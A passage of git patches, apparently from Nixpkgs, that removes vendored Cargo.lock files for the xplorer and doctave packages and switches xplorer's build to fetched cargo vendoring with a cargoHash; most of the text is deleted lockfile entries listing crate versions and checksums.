- "windows_x86_64_gnu 0.42.0",
- "windows_x86_64_gnullvm",
- "windows_x86_64_msvc 0.42.0",
-]
-
-[[package]]
-name = "windows-tokens"
-version = "0.39.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f838de2fe15fe6bac988e74b798f26499a8b21a9d97edec321e79b28d1d7f597"
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.42.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41d2aa71f6f0cbe00ae5167d90ef3cfe66527d6f613ca78ac8024c3ccab9a19e"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.32.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d8e92753b1c443191654ec532f14c199742964a061be25d77d7a96f09db20bf5"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9bb8c3fd39ade2d67e9874ac4f3db21f0d710bee00fe7cab16949ec184eeaa47"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.37.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2623277cb2d1c216ba3b578c0f3cf9cdebeddb6e66b1b218bb33596ea7769c3a"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.39.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec7711666096bd4096ffa835238905bb33fb87267910e154b18b44eaabb340f2"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.42.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dd0f252f5a35cac83d6311b2e795981f5ee6e67eb1f9a7f64eb4500fbc4dcdb4"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.32.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a711c68811799e017b6038e0922cb27a5e2f43a2ddb609fe0b6f3eeda9de615"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "180e6ccf01daf4c426b846dfc66db1fc518f074baa793aa7d9b9aaeffad6a3b6"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.37.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3925fd0b0b804730d44d4b6278c50f9699703ec49bcd628020f46f4ba07d9e1"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.39.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "763fc57100a5f7042e3057e7e8d9bdd7860d330070251a73d003563a3bb49e1b"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.42.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fbeae19f6716841636c28d695375df17562ca208b2b7d0dc47635a50ae6c5de7"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.32.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "146c11bb1a02615db74680b32a68e2d61f553cc24c4eb5b4ca10311740e44172"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2e7917148b2812d1eeafaeb22a97e4813dfa60a3f8f78ebe204bcc88f12f024"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.37.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ce907ac74fe331b524c1298683efbf598bb031bc84d5e274db2083696d07c57c"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.39.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7bc7cbfe58828921e10a9f446fcaaf649204dcfe6c1ddd712c5eebae6bda1106"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.42.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "84c12f65daa39dd2babe6e442988fc329d6243fdce47d7d2d155b8d874862246"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.32.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c912b12f7454c6620635bbff3450962753834be2a594819bd5e945af18ec64bc"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4dcd171b8776c41b97521e5da127a2d86ad280114807d0b2ab1e462bc764d9e1"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.37.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2babfba0828f2e6b32457d5341427dcbb577ceef556273229959ac23a10af33d"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.39.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6868c165637d653ae1e8dc4d82c25d4f97dd6605eaa8d784b5c6e0ab2a252b65"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.42.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf7b1b21b5362cbc318f686150e5bcea75ecedc74dd157d874d754a2ca44b0ed"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.42.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09d525d2ba30eeb3297665bd434a54297e4170c7f1a44cad4ef58095b4cd2028"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.32.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "504a2476202769977a040c6364301a3f65d0cc9e3fb08600b2bda150a0488316"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.36.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c811ca4a8c853ef420abd8592ba53ddbbac90410fab6903b3e79972a631f7680"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.37.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4dd6dc7df2d84cf7b33822ed5b86318fb1781948e9663bacd047fc9dd52259d"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.39.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5e4d40883ae9cae962787ca76ba76390ffa29214667a111db9e0a1ad8377e809"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.42.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f40009d85759725a34da6d89a94e63d7bdc50a862acf0dbc7c8e488f1edcb6f5"
-
-[[package]]
-name = "winreg"
-version = "0.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "winres"
-version = "0.1.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b68db261ef59e9e52806f688020631e987592bd83619edccda9c47d42cde4f6c"
-dependencies = [
- "toml",
-]
-
-[[package]]
-name = "wry"
-version = "0.21.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff5c1352b4266fdf92c63479d2f58ab4cd29dc4e78fbc1b62011ed1227926945"
-dependencies = [
- "base64",
- "block",
- "cocoa",
- "core-graphics",
- "crossbeam-channel",
- "gdk",
- "gio",
- "glib",
- "gtk",
- "html5ever",
- "http",
- "kuchiki",
- "libc",
- "log",
- "objc",
- "objc_id",
- "once_cell",
- "serde",
- "serde_json",
- "sha2",
- "tao",
- "thiserror",
- "url",
- "webkit2gtk",
- "webkit2gtk-sys",
- "webview2-com",
- "windows 0.39.0",
- "windows-implement",
-]
-
-[[package]]
-name = "ws2_32-sys"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d59cefebd0c892fa2dd6de581e937301d8552cb44489cdff035c6187cb63fa5e"
-dependencies = [
- "winapi 0.2.8",
- "winapi-build",
-]
-
-[[package]]
-name = "x11"
-version = "2.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7ae97874a928d821b061fce3d1fc52f08071dd53c89a6102bc06efcac3b2908"
-dependencies = [
- "libc",
- "pkg-config",
-]
-
-[[package]]
-name = "x11-dl"
-version = "2.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c83627bc137605acc00bb399c7b908ef460b621fc37c953db2b09f88c449ea6"
-dependencies = [
- "lazy_static",
- "libc",
- "pkg-config",
-]
-
-[[package]]
-name = "xattr"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d1526bbe5aaeb5eb06885f4d987bcdfa5e23187055de9b83fe00156a821fabc"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "xml-rs"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d2d7d3948613f75c98fd9328cfdcc45acc4d360655289d0a7d4ec931392200a3"
-
-[[package]]
-name = "zip"
-version = "0.6.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf225bcf73bb52cbb496e70475c7bd7a3f769df699c0020f6c7bd9a96dcf0b8d"
-dependencies = [
- "aes",
- "byteorder",
- "bzip2",
- "constant_time_eq",
- "crc32fast",
- "crossbeam-utils",
- "flate2",
- "hmac",
- "pbkdf2",
- "sha1",
- "time 0.3.15",
- "zstd",
-]
-
-[[package]]
-name = "zstd"
-version = "0.10.2+zstd.1.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5f4a6bd64f22b5e3e94b4e238669ff9f10815c27a5180108b849d24174a83847"
-dependencies = [
- "zstd-safe",
-]
-
-[[package]]
-name = "zstd-safe"
-version = "4.1.6+zstd.1.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94b61c51bb270702d6167b8ce67340d2754b088d0c091b06e593aa772c3ee9bb"
-dependencies = [
- "libc",
- "zstd-sys",
-]
-
-[[package]]
-name = "zstd-sys"
-version = "1.6.3+zstd.1.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc49afa5c8d634e75761feda8c592051e7eeb4683ba827211eb0d731d3402ea8"
-dependencies = [
- "cc",
- "libc",
-]
diff --git a/pkgs/by-name/xp/xplorer/package.nix b/pkgs/by-name/xp/xplorer/package.nix
index 72502300e456..59e50baec034 100644
--- a/pkgs/by-name/xp/xplorer/package.nix
+++ b/pkgs/by-name/xp/xplorer/package.nix
@@ -54,20 +54,12 @@ rustPlatform.buildRustPackage {
 
   sourceRoot = "${src.name}/src-tauri";
 
-  cargoLock = {
-    lockFile = ./Cargo.lock;
-    outputHashes = {
-      "tauri-plugin-window-state-0.1.0" = "sha256-DkKiwBwc9jrxMaKWOyvl9nsBJW0jBe8qjtqIdKJmsnc=";
-      "window-shadows-0.2.0" = "sha256-e1afzVjVUHtckMNQjcbtEQM0md+wPWj0YecbFvD0LKE=";
-      "window-vibrancy-0.3.0" = "sha256-0psa9ZtdI0T6sC1RJ4GeI3w01FdO2Zjypuk9idI5pBY=";
-    };
-  };
+  useFetchCargoVendor = true;
+  cargoHash = "sha256-D7qgmxDYQEgOkEYKDSLA875bXeTKDvAntF7kB4esn24=";
 
   # copy the frontend static resources to final build directory
   # Also modify tauri.conf.json so that it expects the resources at the new location
   postPatch = ''
-    cp ${./Cargo.lock} Cargo.lock
-
     mkdir -p frontend-build
     cp -R ${frontend-build}/src frontend-build
 

From f70fccc1738f34eebf5c34bcd834177d3d3da8c2 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Wed, 14 May 2025 00:15:22 +0200
Subject: [PATCH 0020/4511] doctave: don't vendor Cargo.lock

(cherry picked from commit 64599ba0df5ad54de099e7934e57b787e36af000)
---
 pkgs/by-name/do/doctave/Cargo.lock  | 1639 ---------------------------
 pkgs/by-name/do/doctave/package.nix |   12 +-
 2 files changed, 2 insertions(+), 1649 deletions(-)
 delete mode 100644 pkgs/by-name/do/doctave/Cargo.lock

diff --git a/pkgs/by-name/do/doctave/Cargo.lock b/pkgs/by-name/do/doctave/Cargo.lock
deleted file mode 100644
index f0c27d972e27..000000000000
--- a/pkgs/by-name/do/doctave/Cargo.lock
+++ /dev/null
@@ -1,1639 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 3
-
-[[package]]
-name = "aho-corasick"
-version = "0.7.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "043164d8ba5c4c3035fec9bbee8647c0261d788f3474306f93bb65901cae0e86"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "alphanumeric-sort"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e0e75706f4ee4c69aaa277f73a7a6ad60222193938d4266b929aacd17ebb29b9"
-
-[[package]]
-name = "ammonia"
-version = "3.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2e445c26125ff80316eaea16e812d717b147b82a68682bd4730f74d4845c8b35"
-dependencies = [
- "html5ever",
- "lazy_static",
- "maplit",
- "markup5ever_rcdom",
- "matches",
- "tendril",
- "url 2.2.2",
-]
-
-[[package]]
-name = "ansi_term"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ee49baf6cb617b853aa8d93bf420db2383fab46d314482ca2803b40d5fde979b"
-dependencies = [
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "ascii"
-version = "0.8.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "97be891acc47ca214468e09425d02cef3af2c94d0d82081cd02061f996802f14"
-
-[[package]]
-name = "atomic-option"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0db678acb667b525ac40a324fc5f7d3390e29239b31c7327bb8157f5b4fff593"
-
-[[package]]
-name = "atty"
-version = "0.2.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
-dependencies = [
- "hermit-abi",
- "libc",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "autocfg"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a"
-
-[[package]]
-name = "base64"
-version = "0.12.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff"
-
-[[package]]
-name = "bitflags"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf1de2fe8c75bc145a2f577add951f8134889b4795d47466a54a5c846d691693"
-
-[[package]]
-name = "block-buffer"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0940dc441f31689269e10ac70eb1002a3a1d3ad1390e030043662eb7fe4688b"
-dependencies = [
- "block-padding",
- "byte-tools",
- "byteorder",
- "generic-array 0.12.3",
-]
-
-[[package]]
-name = "block-buffer"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4"
-dependencies = [
- "generic-array 0.14.4",
-]
-
-[[package]]
-name = "block-padding"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa79dedbb091f449f1f39e53edf88d5dbe95f895dae6135a8d7b881fb5af73f5"
-dependencies = [
- "byte-tools",
-]
-
-[[package]]
-name = "bunt"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "219e88f5a1df3f5b8a471055ae5bf58d0cdb895ec212b6ef4a00a9a1495b9fb4"
-dependencies = [
- "bunt-macros",
- "termcolor",
-]
-
-[[package]]
-name = "bunt-macros"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9b0d33584af687b4dfc0b9ceb1406635c4582ae126f2979f362bbe8ec11512e"
-dependencies = [
- "proc-macro2",
- "quote",
- "unicode-xid",
-]
-
-[[package]]
-name = "bus"
-version = "2.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1e66e1779f5b1440f1a58220ba3b3ded4427175f0a9fb8d7066521f8b4e8f2b"
-dependencies = [
- "atomic-option",
- "crossbeam-channel",
- "num_cpus",
- "parking_lot_core 0.7.2",
-]
-
-[[package]]
-name = "byte-tools"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3b5ca7a04898ad4bcd41c90c5285445ff5b791899bb1b0abdd2a2aa791211d7"
-
-[[package]]
-name = "byteorder"
-version = "1.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08c48aae112d48ed9f069b33538ea9e3e90aa263cfa3d1c24309612b1f7472de"
-
-[[package]]
-name = "bytes"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0e4cec68f03f32e44924783795810fa50a7035d8c8ebe78580ad7e6c703fba38"
-
-[[package]]
-name = "cfg-if"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
-
-[[package]]
-name = "cfg-if"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-
-[[package]]
-name = "chrono"
-version = "0.4.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "942f72db697d8767c22d46a598e01f2d3b475501ea43d0db4f16d90259182d0b"
-dependencies = [
- "num-integer",
- "num-traits",
- "time",
-]
-
-[[package]]
-name = "chunked_transfer"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "498d20a7aaf62625b9bf26e637cf7736417cde1d0c99f1d04d1170229a85cf87"
-
-[[package]]
-name = "clap"
-version = "2.33.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "37e58ac78573c40708d45522f0d80fa2f01cc4f9b4e2bf749807255454312002"
-dependencies = [
- "ansi_term",
- "atty",
- "bitflags",
- "strsim 0.8.0",
- "textwrap",
- "unicode-width",
- "vec_map",
-]
-
-[[package]]
-name = "cloudabi"
-version = "0.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ddfc5b9aa5d4507acaf872de71051dfd0e309860e88966e1051e462a077aac4f"
-dependencies = [
- "bitflags",
-]
-
-[[package]]
-name = "colorsys"
-version = "0.5.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "be475c891fad1522a7bfd1cb7204ba8e8fe48a93a0ad6992356aca07a4e0cbce"
-
-[[package]]
-name = "cpuid-bool"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8aebca1129a03dc6dc2b127edd729435bbc4a37e1d5f4d7513165089ceb02634"
-
-[[package]]
-name = "crossbeam-channel"
-version = "0.4.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b153fe7cbef478c567df0f972e02e6d736db11affe43dfc9c56a9374d1adfb87"
-dependencies = [
- "crossbeam-utils",
- "maybe-uninit",
-]
-
-[[package]]
-name = "crossbeam-deque"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9f02af974daeee82218205558e51ec8768b48cf524bd01d550abe5573a608285"
-dependencies = [
- "crossbeam-epoch",
- "crossbeam-utils",
- "maybe-uninit",
-]
-
-[[package]]
-name = "crossbeam-epoch"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "058ed274caafc1f60c4997b5fc07bf7dc7cca454af7c6e81edffe5f33f70dace"
-dependencies = [
- "autocfg",
- "cfg-if 0.1.10",
- "crossbeam-utils",
- "lazy_static",
- "maybe-uninit",
- "memoffset",
- "scopeguard",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3c7c73a2d1e9fc0886a08b93e98eb643461230d5f1925e4036204d5f2e261a8"
-dependencies = [
- "autocfg",
- "cfg-if 0.1.10",
- "lazy_static",
-]
-
-[[package]]
-name = "digest"
-version = "0.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f3d0c8c8752312f9713efd397ff63acb9f85585afbf179282e720e7704954dd5"
-dependencies = [
- "generic-array 0.12.3",
-]
-
-[[package]]
-name = "digest"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066"
-dependencies = [
- "generic-array 0.14.4",
-]
-
-[[package]]
-name = "doctave"
-version = "0.4.2"
-dependencies = [
- "alphanumeric-sort",
- "ascii",
- "bunt",
- "bus",
- "clap",
- "colorsys",
- "crossbeam-channel",
- "doctave-markdown",
- "elasticlunr-rs",
- "handlebars",
- "http",
- "include_dir",
- "indoc",
- "lazy_static",
- "notify",
- "rayon",
- "scoped_threadpool",
- "serde",
- "serde_json",
- "serde_yaml",
- "tiny_http",
- "tungstenite",
- "walkdir",
-]
-
-[[package]]
-name = "doctave-markdown"
-version = "0.9.0"
-source = "git+https://github.com/Doctave/doctave-markdown?tag=0.9.0#82e2b99b09c95092e64629033b0ff6c2b110af47"
-dependencies = [
- "ammonia",
- "emojis",
- "lazy_static",
- "pulldown-cmark",
- "regex",
- "url 2.2.2",
-]
-
-[[package]]
-name = "dtoa"
-version = "0.4.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "134951f4028bdadb9b84baf4232681efbf277da25144b9b0ad65df75946c422b"
-
-[[package]]
-name = "either"
-version = "1.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457"
-
-[[package]]
-name = "elasticlunr-rs"
-version = "2.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "35622eb004c8f0c5e7e2032815f3314a93df0db30a1ce5c94e62c1ecc81e22b9"
-dependencies = [
- "lazy_static",
- "regex",
- "serde",
- "serde_derive",
- "serde_json",
- "strum",
- "strum_macros",
-]
-
-[[package]]
-name = "emojis"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cbf85aeacc72b7b5d9e78b39399562a2846566936e41a6f59f9d96b3fa7c4f96"
-dependencies = [
- "strsim 0.10.0",
-]
-
-[[package]]
-name = "fake-simd"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e88a8acf291dafb59c2d96e8f59828f3838bb1a70398823ade51a84de6a6deed"
-
-[[package]]
-name = "filetime"
-version = "0.2.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3ed85775dcc68644b5c950ac06a2b23768d3bc9390464151aaf27136998dcf9e"
-dependencies = [
- "cfg-if 0.1.10",
- "libc",
- "redox_syscall 0.1.57",
- "winapi 0.3.9",
-]
-
-[[package]]
-name = "fnv"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
-
-[[package]]
-name = "form_urlencoded"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5fc25a87fa4fd2094bffb06925852034d90a17f0d1e05197d4956d3555752191"
-dependencies = [
- "matches",
- "percent-encoding 2.1.0",
-]
-
-[[package]]
-name = "fsevent"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5ab7d1bd1bd33cc98b0889831b72da23c0aa4df9cec7e0702f46ecea04b35db6"
-dependencies = [
- "bitflags",
- "fsevent-sys",
-]
-
-[[package]]
-name = "fsevent-sys"
-version = "2.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f41b048a94555da0f42f1d632e2e19510084fb8e303b0daa2816e733fb3644a0"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "fuchsia-zircon"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2e9763c69ebaae630ba35f74888db465e49e259ba1bc0eda7d06f4a067615d82"
-dependencies = [
- "bitflags",
- "fuchsia-zircon-sys",
-]
-
-[[package]]
-name = "fuchsia-zircon-sys"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3dcaa9ae7725d12cdb85b3ad99a434db70b468c09ded17e012d86b5c1010f7a7"
-
-[[package]]
-name = "futf"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7c9c1ce3fa9336301af935ab852c437817d14cd33690446569392e65170aac3b"
-dependencies = [
- "mac",
- "new_debug_unreachable",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.12.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c68f0274ae0e023facc3c97b2e00f076be70e254bc851d972503b328db79b2ec"
-dependencies = [
- "typenum",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.14.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "501466ecc8a30d1d3b7fc9229b122b2ce8ed6e9d9223f1138d4babb253e51817"
-dependencies = [
- "typenum",
- "version_check",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.1.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc587bc0ec293155d5bfa6b9891ec18a1e330c234f896ea47fbada4cadbe47e6"
-dependencies = [
- "cfg-if 0.1.10",
- "libc",
- "wasi 0.9.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "handlebars"
-version = "3.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5deefd4816fb852b1ff3cb48f6c41da67be2d0e1d20b26a7a3b076da11f064b1"
-dependencies = [
- "log",
- "pest",
- "pest_derive",
- "quick-error",
- "serde",
- "serde_json",
-]
-
-[[package]]
-name = "heck"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "20564e78d53d2bb135c343b3f47714a56af2061f1c928fdb541dc7b9fdd94205"
-dependencies = [
- "unicode-segmentation",
-]
-
-[[package]]
-name = "hermit-abi"
-version = "0.1.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3deed196b6e7f9e44a2ae8d94225d80302d81208b1bb673fd21fe634645c85a9"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "html5ever"
-version = "0.25.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "aafcf38a1a36118242d29b92e1b08ef84e67e4a5ed06e0a80be20e6a32bfed6b"
-dependencies = [
- "log",
- "mac",
- "markup5ever",
- "proc-macro2",
- "quote",
- "syn",
-]
-
-[[package]]
-name = "http"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "28d569972648b2c512421b5f2a405ad6ac9666547189d0c5477a3f200f3e02f9"
-dependencies = [
- "bytes",
- "fnv",
- "itoa",
-]
-
-[[package]]
-name = "httparse"
-version = "1.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cd179ae861f0c2e53da70d892f5f3029f9594be0c41dc5269cd371691b1dc2f9"
-
-[[package]]
-name = "idna"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38f09e0f0b1fb55fdee1f17470ad800da77af5186a1a76c026b679358b7e844e"
-dependencies = [
- "matches",
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "idna"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "02e2673c30ee86b5b96a9cb52ad15718aa1f966f5ab9ad54a8b95d5ca33120a9"
-dependencies = [
- "matches",
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "include_dir"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "482a2e29200b7eed25d7fdbd14423326760b7f6658d21a4cf12d55a50713c69f"
-dependencies = [
- "include_dir_macros",
-]
-
-[[package]]
-name = "include_dir_macros"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5e074c19deab2501407c91ba1860fa3d6820bfde307db6d8cb851b55a10be89b"
-dependencies = [
- "proc-macro2",
- "quote",
-]
-
-[[package]]
-name = "indoc"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "644defcefee68d7805653a682e99a2e2a5014a1fc3cc9be7059a215844eeea6f"
-dependencies = [
- "unindent",
-]
-
-[[package]]
-name = "inotify"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4816c66d2c8ae673df83366c18341538f234a26d65a9ecea5c348b453ac1d02f"
-dependencies = [
- "bitflags",
- "inotify-sys",
- "libc",
-]
-
-[[package]]
-name = "inotify-sys"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e74a1aa87c59aeff6ef2cc2fa62d41bc43f54952f55652656b18a02fd5e356c0"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "input_buffer"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19a8a95243d5a0398cae618ec29477c6e3cb631152be5c19481f80bc71559754"
-dependencies = [
- "bytes",
-]
-
-[[package]]
-name = "instant"
-version = "0.1.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
-dependencies = [
